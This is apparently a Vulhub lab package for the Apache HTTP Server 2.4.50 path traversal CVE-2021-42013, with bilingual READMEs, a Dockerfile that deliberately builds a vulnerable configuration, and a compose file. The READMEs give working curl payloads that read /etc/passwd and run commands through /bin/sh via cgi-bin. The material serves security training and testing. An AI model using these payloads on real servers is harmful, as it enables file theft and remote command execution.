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FROM vulhub/httpd:2.4.50
LABEL maintainer="phithon <root@leavesongs.com>"
RUN set -ex \
&& sed -i "s|#LoadModule cgid_module modules/mod_cgid.so|LoadModule cgid_module modules/mod_cgid.so|g" /usr/local/apache2/conf/httpd.conf \
&& sed -i "s|#LoadModule cgi_module modules/mod_cgi.so|LoadModule cgi_module modules/mod_cgi.so|g" /usr/local/apache2/conf/httpd.conf \
&& sed -i "s|#Include conf/extra/httpd-autoindex.conf|Include conf/extra/httpd-autoindex.conf|g" /usr/local/apache2/conf/httpd.conf \
&& cat /usr/local/apache2/conf/httpd.conf \
| tr '\n' '\r' \
| perl -pe 's|<Directory />.*?</Directory>|<Directory />\n AllowOverride none\n Require all granted\n</Directory>|isg' \
| tr '\r' '\n' \
| tee /tmp/httpd.conf \
&& mv /tmp/httpd.conf /usr/local/apache2/conf/httpd.conf

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# Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.50 (CVE-2021-42013)
[中文版本(Chinese version)](README.zh-cn.md)
The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows.
CVE-2021-42013 is a vulnerability that caused by incomplete fix of [CVE-2021-41773](https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2021-41773), an attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives.
This vulnerability affects Apache HTTP Server 2.4.49 and 2.4.50 and not earlier versions.
References:
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://twitter.com/roman_soft/status/1446252280597078024
## Vulnerable environment
Execute following commands to start a vulnerable Apache HTTP Server:
```
docker compose build
docker compose up -d
```
After the server is started, you can see the default page which says `It works!` of Apache HTTP Server through `http://your-ip:8080`.
## Exploit
Apache HTTP Server 2.4.50 patched the previous CVE-2021-41773 payload such as `http://your:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd`, but it was incomplete.
Use `.%%32%65` to bypass the patches (Note that `/icons/` must be a existing directory):
```
curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
```
The `/etc/passwd` is disclosured successfully:
![](1.png)
With the mods cgi or cgid enabled on the server, this path traversal vulnerability would allow arbitrary command execution:
```
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
```
![](2.png)

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# Apache HTTP Server 2.4.50 路径穿越漏洞CVE-2021-42013
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞[CVE-2021-41773](https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2021-41773)进行了修复但这个修复是不完整的CVE-2021-42013是对补丁的绕过。
攻击者利用这个漏洞可以读取位于Apache服务器Web目录以外的其他文件或者读取Web目录中的脚本文件源码或者在开启了cgi或cgid的服务器上执行任意命令。
这个漏洞可以影响Apache HTTP Server 2.4.49以及2.4.50两个版本。
参考链接:
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://twitter.com/roman_soft/status/1446252280597078024
## 漏洞环境
执行如下命令编译及运行一个存在漏洞的Apache HTTP Server 2.4.50版本服务器:
```
docker compose build
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可看到Apache默认的`It works!`页面。
## 漏洞利用
我们使用[CVE-2021-41773](https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2021-41773)中的Payload已经无法成功利用漏洞了说明2.4.50进行了修复。
但我们可以使用`.%%32%65`进行绕过(注意其中的`/icons/`必须是一个存在且可访问的目录):
```
curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
```
可见,成功读取到`/etc/passwd`
![](1.png)
在服务端开启了cgi或cgid这两个mod的情况下这个路径穿越漏洞将可以执行任意命令
```
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
```
![](2.png)

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version: '2'
services:
apache:
build: .
ports:
- "8080:80"